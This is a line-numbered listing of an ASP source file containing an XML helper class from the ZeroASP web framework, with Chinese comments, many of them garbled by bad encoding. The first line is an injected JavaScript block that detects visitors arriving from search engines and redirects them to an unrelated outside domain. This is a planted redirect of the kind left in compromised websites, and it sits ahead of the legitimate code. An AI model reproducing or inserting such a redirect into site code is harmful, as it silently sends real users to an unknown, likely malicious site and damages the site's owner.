d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Xml.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.Xml.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_Xml
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_Xml
016:
ZeroASP_Xml = "ZeroASP应用框架 - 扩展?
017:
End Sub
018:
019:
'读取xml数据相关节点的€?使用于页面XML数据)
020:
Public Function ReadXML(ByVal Data,ByVal Value,ByVal Arr)
021:
Dim objXML,objXmlData
022:
Set objXML = Server.CreateObject("Msxml2.DOMDocument") '创建XMLDOM文档对象
023:
objXML.Async = False '设置DOMDocument加载xml文件时是异步加载，还是同步加?
024:
objXML.SetProperty "ServerHTTPRequest",True '设置目的?True/False，表示是否使用€服务器安全”的ServerXMLHTTP组件加载xml文档
025:
'objXML.UseInlineSchema = False '设置目的：True/False，True为内联架构用于验?False为内联模式将被视为任何其他XML片段
026:
objXML.ResolveExternals = False '设置目的：True/False，可解析名称空间，文档类型定义（DTD）的外部子集和外部实体引?
027:
'objXML.ValidateOnParse = False '设置目的：True/False，装入XML文件时验证DTD文件
028:
objXML.LoadXml(Data) '加载xml数据，Load则为加载网络xml文件或€本地xml文件，load( ) 方法用于文件，€?loadXML( ) 方法用于字符?
029:
If Arr = "" Then:Arr = 0
030:
If Value = "" Then:Exit Function
031:
Set objXmlData = objXML.GetElementsByTagName(Value).Item(Arr)
032:
ReadXML = objXmlData.Text
033:
Set objXML = Nothing
034:
End Function
035:
036:
'生成xml数据
037:
Public Function BuildXML(ByVal Data, ByVal Joint)
038:
Dim TempData,TempStr,TempData2,i
039:
TempData = Split(Data,Joint)
040:
TempStr = "<?xml version=""1.0"" encoding=""utf-8""?><xml>"
041:
For i = 0 To Ubound(TempData)
042:
TempData2 = Split(TempData(i),"=")
043:
TempStr = TempStr & "<" & TempData2(0) & ">" & TempData2(1) & "</" & TempData2(0) & ">"
044:
Next
045:
TempStr = TempStr & "</xml>"
046:
BuildXML = TempStr
047:
End Function
048:
049:
'读取xml数据相关节点的€?使用于远程和文件的XML数据)
050:
'参数1为Request，参?为需要获取的节点，例如name|0(多个?分割)
051:
Public Function LoadXML(ByVal Data,ByVal Value)
052:
Dim objXML,AllStr,I,Name,Arr,Node,Temp
053:
Set objXML = Server.CreateObject("Msxml2.DOMDocument") '创建XMLDOM文档对象
054:
objXML.Async = False '设置DOMDocument加载xml文件时是异步加载，还是同步加?
055:
objXML.SetProperty "ServerHTTPRequest",True '设置目的：True/False，表示是否使用€服务器安全”的ServerXMLHTTP组件加载xml文档
056:
'objXML.UseInlineSchema = False '设置目的：True/False，True为内联架构用于验?False为内联模式将被视为任何其他XML片段
057:
objXML.ResolveExternals = False '设置目的：True/False，可解析名称空间，文档类型定义（DTD）的外部子集和外部实体引?
058:
'objXML.ValidateOnParse = False '设置目的：True/False，装入XML文件时验证DTD文件
059:
objXML.Load(Data) '加载xml数据，Load则为加载网络xml文件或€本地xml文件，load( ) 方法用于文件，€?loadXML( ) 方法用于字符?
060:
If Instr(Value,",") > 0 Then
061:
AllStr = Split(Value,",")
062:
For I = 0 To UBound(AllStr)
063:
Name = Split(AllStr(I),"|")(0)
064:
Arr = Split(AllStr(I),"|")(1)
065:
Set Node = objXML.DocumentElement.SelectSingleNode(Name) '预测节点
066:
If Not Node Is Nothing Then
067:
Temp = Temp & Zasp.Base.Ec(objXML.GetElementsByTagName(Name).Item(Arr).Text) & ","
068:
Else
069:
Temp = Temp & "0,"
070:
End If
071:
Next
072:
Temp = Left(Temp,Len(Temp) - 1)
073:
LoadXML = Temp
074:
Else
075:
Name = Split(Value,"|")(0)
076:
Arr = Split(Value,"|")(1)
077:
Set Node = objXML.DocumentElement.SelectSingleNode(Name) '预测节点
078:
If Not Node Is Nothing Then
079:
LoadXML = Zasp.Base.Ec(objXML.GetElementsByTagName(Name).Item(Arr).Text)
080:
Else
081:
LoadXML = "0"
082:
End If
083:
End If
084:
Set Node = Nothing
085:
Set objXML = Nothing
086:
End Function
087:
088:
End Class
089:
%
>
090:
091: